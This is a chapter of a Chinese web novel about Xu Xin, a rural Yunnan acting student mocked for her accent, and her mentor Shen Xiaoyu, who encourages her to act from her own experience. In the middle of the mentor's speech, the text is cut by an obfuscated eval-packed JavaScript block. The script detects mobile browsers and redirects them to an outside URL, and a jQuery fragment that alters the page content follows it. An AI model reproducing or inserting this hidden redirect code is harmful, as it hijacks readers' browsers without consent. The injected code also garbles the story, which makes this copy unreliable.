调研小组到访的第一天，日程排得满满当当。
上午逛完透明创作联盟的办公区和线上协作平台，下午一行人便直奔星火计划的排练厅，旁听表演训练课。
许昕是下午这堂课的焦点。
课程内容是无实物表演，要求在空荡的舞台上，仅凭肢体和想象，搭起一个完整的生活场景。
她抽到的题目再寻常不过——深夜厨房，给晚归的家人煮一碗面。
前半段表演，许昕几乎挑不出错。
弯腰“洗菜”时指尖的轻捻，“烧水”时盯着壶底的专注，“切葱”时手腕的轻颤，连“水开后蒸汽扑脸”的微微后仰、抬手挡烟的小动作，都细得像真的。调研小组的专家们频频点头，偶尔交头接耳，语气里满是赞许。
可到了加台词和情绪的后半段，短板骤然暴露。
题目设定里，这碗面是煮给刚出院的母亲的，要温柔里裹着心疼，疲惫中带着牵挂。可许昕那口带着云南口音的普通话，一开口就破了功。
“妈，您趁热吃（ci）……医生嗦（shuo）了，得补充营氧（养）……我给您卧了鸡蛋，还有您最稀饭（喜欢）的小白菜……”她越想把情绪揉进去，语速越急，口音也越重，尾音的调子飘得厉害。
台下忽然传来一声极轻的嗤笑，是后排两个科班出身的学员，虽快就捂住了嘴，可那声音还是清清楚楚钻进了许昕耳朵里。
她的动作猛地顿住，手里“端着”的虚拟面碗晃了晃，像是要摔了。
接下来的台词磕磕绊绊，原本该有的心疼劲儿僵在脸上，只剩手足无措的尴尬，连眼神都不敢再往台下扫。
表演结束，排练厅里静得能听见空调吹风的声音。
指导老师沉默了几秒，语气尽量温和：“许昕，先下来吧，下一位准备。”
许昕低着头快步走下台，缩在角落的椅子里，脸颊烫得能烧起来。
调研小组的专家们已经把目光移到了下一个学员身上，可她总觉得，有几道视线还黏在自己身上——
有审视，有遗憾，还有藏不住的疑问。
那疑问像根细针，扎得她心口发紧：
这就是沈小鱼力荐的好苗子？
这就是星火计划拿得出手的学员？
就这水平？
傍晚课程结束，调研小组离开，学员们也三三两两结伴散去，排练厅很快空了下来。
许昕还坐在原地，抱着膝盖蜷成一小团，眼睛盯着对面的镜子，没哭，也没动。
镜子里的女孩穿着洗得发白的训练服，头发乱蓬蓬的，大眼睛里空落落的，半点没有平时练戏时的亮劲儿。
她忽然想起三个月前，沈小鱼踩着泥路去云南大山里找她的那天——
她刚喂完猪，手里还沾着猪食桶的腥味，对着沈小鱼深深鞠躬，背上补丁摞补丁的衣服，像蝴蝶折了翅。
那时候她攥着沈小鱼的衣角，声音细若蚊蚋：“沈老师，我想演戏，想把山里的故事演给别人看。”她以为演戏只要够真诚，能把心里的感受倒出来就行，从没想过，连说话都成了过不去的坎。
“咔哒”一声，排练厅的门被推开。
沈小鱼拿着两瓶矿泉水走进来，在她身边的椅子上坐下，把水递过去一瓶：“渴了吧，先喝点水。”
许昕接过水，指尖碰着冰凉的瓶身，声音哑得厉害：
“沈老师……我是不是让您失望了？”
沈小鱼没直接答，反倒歪头问她：
“你知道我当初为什么非要把你从大山里带出来吗？”
许昕摇摇头，眼眶有点发红：
“我不知道……您说我有天赋，可我连普通话都讲不好，连一碗面都演砸了。”
“天赋是一方面，但不是全部。”沈小鱼抬手指了指镜子里的她，语气轻柔却笃定，“是因为你的眼睛。你看东西的样子，太干净了，没有半点杂质，喜怒哀乐都摆在眼里，纯粹得很。这叫赤子之心，是多少科班出身的演员，练十年八年都练不出来的宝贝。”
许昕茫然地抬头，看着沈小鱼：“可今天……我把它演砸了。”
“不是演砸了，是你丢了自己。”
沈小鱼的目光落在她紧绷的肩膀上，“我在你眼睛里看到了恐惧——怕口音被笑，怕达不到我的期待，怕配不上‘星火学员’的名头。你拼命想装成别人眼里‘标准’的演员，反而把最珍贵的东西弄丢了。”
这句话像戳破了她所有的伪装，许昕的眼泪终于掉了下来，砸在矿泉水瓶上，晕开小小的湿痕。
她哽咽着，声音里满是自我否定：“我不配当您的学生……真的不配。您看其他同学，要么是北电中戏的，要么是从小就演戏的，他们台词好、技巧熟，可我呢？我就是个山里来的土丫头，连‘说’都做不好……”
“许昕，看着我。”
沈小鱼轻轻握住她的手，打断她的话，眼神格外认真，“我带你回北京，从来不是要你变成他们那样。我要你做许昕，做那个能把山里的风、阿妈的苞谷饭都演出来的许昕。”
“可口音……”许昕吸了吸鼻子，还是没底气，“他们都说，演员就得说标准普通话。”
“谁定的规矩？”沈小鱼笑了，站起身走到镜子前，指着镜中的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002714|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两人，“中国这么大，南方北方口音各异，凭什么演员就得清一色播音腔？你的口音不是缺点，是你的印记，是你演好‘你的故事’的底气。”
她走回许昕身边，掏出手机翻出一段视频：
“你看这个，还记得吗？这是你刚来时，即兴演‘想家’的片段。”
视频里，许昕蹲在墙角，手里捧着个空碗，假装是阿妈做的苞谷饭。
她慢慢抓起“饭粒”塞进嘴里，嚼着嚼着就红了眼，眼泪掉下来的时候，还对着空气笑，小声说：“阿妈，甜得很，比城里的米香。”
没有技巧，甚至有些粗糙，可隔着屏幕都能让人鼻头发酸。
许昕看着视频，眼泪流得更凶了，却不是因为难过，是因为忽然想起了那种踏实的感觉——
不是装出来的情绪，是从骨子里冒出来的记忆。
“这才是好表演。”
沈小鱼关掉手机，轻轻拍着她的背，“因为你演的是自己，是你真真切切经历过的日子。今天那碗面演不好，不是你的问题，是剧本不对——那是城市里的母女，不是你和阿妈。你硬要去套别人的模板，自然别扭。”
“那……调研小组会不会觉得我很差？”许昕小声问，还是有点担心。
“他们来调研，看的就是真实的星火计划，不是清一色的‘标准演员’。”沈小鱼语气笃定，“我明天就跟他们说，我这儿有个学员，能把山里的故事演活，她的口音，是最特别的台词。”
她顿了顿，补充道：“从明天起，我给你加节小课，不练普通话，就练怎么用你的口音、你的方式，把心里的话、山里的事，好好说出来。”
许昕擦掉眼泪，用力点头，眼睛里慢慢重新亮了起来，像山里雾散后露出的星子：“沈老师，我懂了。我不该拼命藏起自己的样子，该把我的阿妈、我的山，都演给别人看。”
沈小鱼笑了，揉了揉她的头发：“这就对了。”
那天晚上，许昕在排练厅待到很晚。
她没练台词，也没抠动作，就坐在地上，闭上眼睛回想云南的山、山里的雾，回想阿妈在灶台前烧火煮苞谷饭的背影，阿爸在田埂上吆喝牛的声音，还有村口老槐树的叶子，被风吹得哗哗响。
她对着空荡的舞台，小声地、慢慢地说：“阿妈，今天我演砸了，可沈老师说，我的声音不难听，我的故事也好看。”
风从窗户吹进来，拂过她的发梢。她抬手摸了摸自己的脸，忽然笑了——
那些她曾拼命想藏起来的“土气”，原来才是最珍贵的东西。
她不用变成别人，只要做好许昕，就够了。